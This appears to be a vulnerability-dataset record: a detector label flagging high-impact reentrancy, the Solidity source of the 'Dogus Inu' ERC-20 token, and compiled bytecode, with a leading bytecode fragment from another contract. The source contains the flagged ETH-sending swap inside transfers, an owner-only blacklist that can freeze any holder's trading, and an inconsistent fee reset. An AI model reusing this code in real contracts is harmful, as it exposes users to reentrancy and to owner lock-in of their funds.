1b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae8f39637eb0de4cccbef8bd54301be66d0baac9361adb751f695ed7dbfe59d064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,615 |
0xc18c18055D01343FbCAFD1A1C583Cb39b79872e3
|
// Dogus Inu ($DOGUS)
//Telegram: https://t.me/dogusinutoken
/*
,---, ,---,
.' .' `\ ,`--.' |
,---.' \ ,---. ,--, | : : ,---, ,--,
| | .`\ | ' ,'\ ,----._,. ,'_ /| .--.--. : | ' ,-+-. / | ,'_ /|
: : | ' | / / | / / ' / .--. | | : / / ' | : | ,--.'|' | .--. | | :
| ' ' ; :. ; ,. :| : |,'_ /| : . | | : /`./ ' ' ;| | ,"' |,'_ /| : . |
' | ; . |' | |: :| | .\ .| ' | | . . | : ;_ | | || | / | || ' | | . .
| | : | '' | .; :. ; '; || | ' | | | \ \ `. ' : ;| | | | || | ' | | |
' : | / ; | : |' . . |: | : ; ; | `----. \ | | '| | | |/ : | : ; ; |
| | '` ,/ \ \ / `---`-'| |' : `--' \ / /`--' / ' : || | |--' ' : `--' \
; : .' `----' .'__/\_: |: , .-./'--'. / ; |.' | |/ : , .-./
| ,.' | : : `--`----' `--'---' '---' '---' `--`----'
'---' \ \ /
`--`-'
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogusInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dogus Inu";
string private constant _symbol = "DOGUS";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610305578063c3c8cd8014610325578063d543dbeb1461033a578063dd62ed3e1461035a57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b4565b6103a0565b005b34801561014657600080fd5b50604080518082019091526009815268446f67757320496e7560b81b60208201525b60405161017591906119f8565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611889565b61044d565b6040519015158152602001610175565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610175565b3480156101e057600080fd5b5061019e6101ef366004611849565b610464565b34801561020057600080fd5b506101386104cd565b34801561021557600080fd5b5060405160098152602001610175565b34801561023157600080fd5b5061013861024036600461197b565b610890565b34801561025157600080fd5b506101386102603660046117d9565b6108d8565b34801561027157600080fd5b50610138610923565b34801561028657600080fd5b506101c66102953660046117d9565b610950565b3480156102a657600080fd5b50610138610972565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e357600080fd5b50604080518082019091526005815264444f47555360d81b6020820152610168565b34801561031157600080fd5b5061019e610320366004611889565b6109e6565b34801561033157600080fd5b506101386109f3565b34801561034657600080fd5b506101386103553660046119b3565b610a29565b34801561036657600080fd5b506101c6610375366004611811565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d35760405162461bcd60e51b81526004016103ca90611a4b565b60405180910390fd5b60005b8151811015610449576001600a600084848151811061040557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044181611b5e565b9150506103d6565b5050565b600061045a338484610afc565b5060015b92915050565b6000610471848484610c20565b6104c384336104be85604051806060016040528060288152602001611bc9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611032565b610afc565b5060019392505050565b6000546001600160a01b031633146104f75760405162461bcd60e51b81526004016103ca90611a4b565b600f54600160a01b900460ff16156105515760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103ca565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082683635c9adc5dea00000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117f5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117f5565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f81610950565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119cb565b5050600f8054673782dace9d90000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104499190611997565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016103ca90611a4b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016103ca90611a4b565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094357600080fd5b4761094d8161106c565b50565b6001600160a01b03811660009081526002602052604081205461045e906110fb565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016103ca90611a4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045a338484610c20565b600c546001600160a01b0316336001600160a01b031614610a1357600080fd5b6000610a1e30610950565b905061094d8161117f565b6000546001600160a01b03163314610a535760405162461bcd60e51b81526004016103ca90611a4b565b60008111610aa35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103ca565b610ac16064610abb683635c9adc5dea0000084611324565b906113a3565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ca565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ca565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ca565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ca565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ca565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610fd557600f54600160b81b900460ff1615610e5b576001600160a01b0383163014801590610dad57506001600160a01b0382163014155b8015610dc75750600e546001600160a01b03848116911614155b8015610de15750600e546001600160a01b03838116911614155b15610e5b57600e546001600160a01b0316336001600160a01b03161480610e1b5750600f546001600160a01b0316336001600160a01b0316145b610e5b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ca565b601054811115610e6a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eac57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb557600080fd5b600f546001600160a01b038481169116148015610ee05750600e546001600160a01b03838116911614155b8015610f0557506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1a5750600f54600160b81b900460ff165b15610f68576001600160a01b0382166000908152600b60205260409020544211610f4357600080fd5b610f4e42600a611af0565b6001600160a01b0383166000908152600b60205260409020555b6000610f7330610950565b600f54909150600160a81b900460ff16158015610f9e5750600f546001600160a01b03858116911614155b8015610fb35750600f54600160b01b900460ff165b15610fd357610fc18161117f565b478015610fd157610fd14761106c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101757506001600160a01b03831660009081526005602052604090205460ff165b15611020575060005b61102c848484846113e5565b50505050565b600081848411156110565760405162461bcd60e51b81526004016103ca91906119f8565b5060006110638486611b47565b95945050505050565b600c546001600160a01b03166108fc61108b600a610abb856004611324565b6040518115909202916000818181858888f193505050501580156110b3573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d3600a610abb856006611324565b6040518115909202916000818181858888f19350505050158015610449573d6000803e3d6000fd5b60006006548211156111625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ca565b600061116c611411565b905061117883826113a3565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126191906117f5565b8160018151811061128257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a89130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e1908590600090869030904290600401611a80565b600060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113335750600061045e565b600061133f8385611b28565b90508261134c8583611b08565b146111785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ca565b600061117883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611434565b806113f2576113f2611462565b6113fd848484611485565b8061102c5761102c6005600855600a600955565b600080600061141e61157c565b909250905061142d82826113a3565b9250505090565b600081836114555760405162461bcd60e51b81526004016103ca91906119f8565b5060006110638486611b08565b6008541580156114725750600954155b1561147957565b60006008819055600955565b600080600080600080611497876115be565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c9908761161b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f8908661165d565b6001600160a01b03891660009081526002602052604090205561151a816116bc565b6115248483611706565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159882826113a3565b8210156115b557505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115db8a60085460095461172a565b92509250925060006115eb611411565b905060008060006115fe8e878787611779565b919e509c509a509598509396509194505050505091939550919395565b600061117883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611032565b60008061166a8385611af0565b9050838110156111785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ca565b60006116c6611411565b905060006116d48383611324565b306000908152600260205260409020549091506116f1908261165d565b30600090815260026020526040902055505050565b600654611713908361161b565b600655600754611723908261165d565b6007555050565b600080808061173e6064610abb8989611324565b905060006117516064610abb8a89611324565b90506000611769826117638b8661161b565b9061161b565b9992985090965090945050505050565b60008080806117888886611324565b905060006117968887611324565b905060006117a48888611324565b905060006117b682611763868661161b565b939b939a50919850919650505050505050565b80356117d481611ba5565b919050565b6000602082840312156117ea578081fd5b813561117881611ba5565b600060208284031215611806578081fd5b815161117881611ba5565b60008060408385031215611823578081fd5b823561182e81611ba5565b9150602083013561183e81611ba5565b809150509250929050565b60008060006060848603121561185d578081fd5b833561186881611ba5565b9250602084013561187881611ba5565b929592945050506040919091013590565b6000806040838503121561189b578182fd5b82356118a681611ba5565b946020939093013593505050565b600060208083850312156118c6578182fd5b823567ffffffffffffffff808211156118dd578384fd5b818501915085601f8301126118f0578384fd5b81358181111561190257611902611b8f565b8060051b604051601f19603f8301168101818110858211171561192757611927611b8f565b604052828152858101935084860182860187018a1015611945578788fd5b8795505b8386101561196e5761195a816117c9565b855260019590950194938601938601611949565b5098975050505050505050565b60006020828403121561198c578081fd5b813561117881611bba565b6000602082840312156119a8578081fd5b815161117881611bba565b6000602082840312156119c4578081fd5b5035919050565b6000806000606084860312156119df578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2457858101830151858201604001528201611a08565b81811115611a355783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acf5784516001600160a01b031683529383019391830191600101611aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0357611b03611b79565b500190565b600082611b2357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4257611b42611b79565b500290565b600082821015611b5957611b59611b79565b500390565b6000600019821415611b7257611b72611b79565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094d57600080fd5b801515811461094d57600080fdfe45524332303a207472616e7366657220616d6f75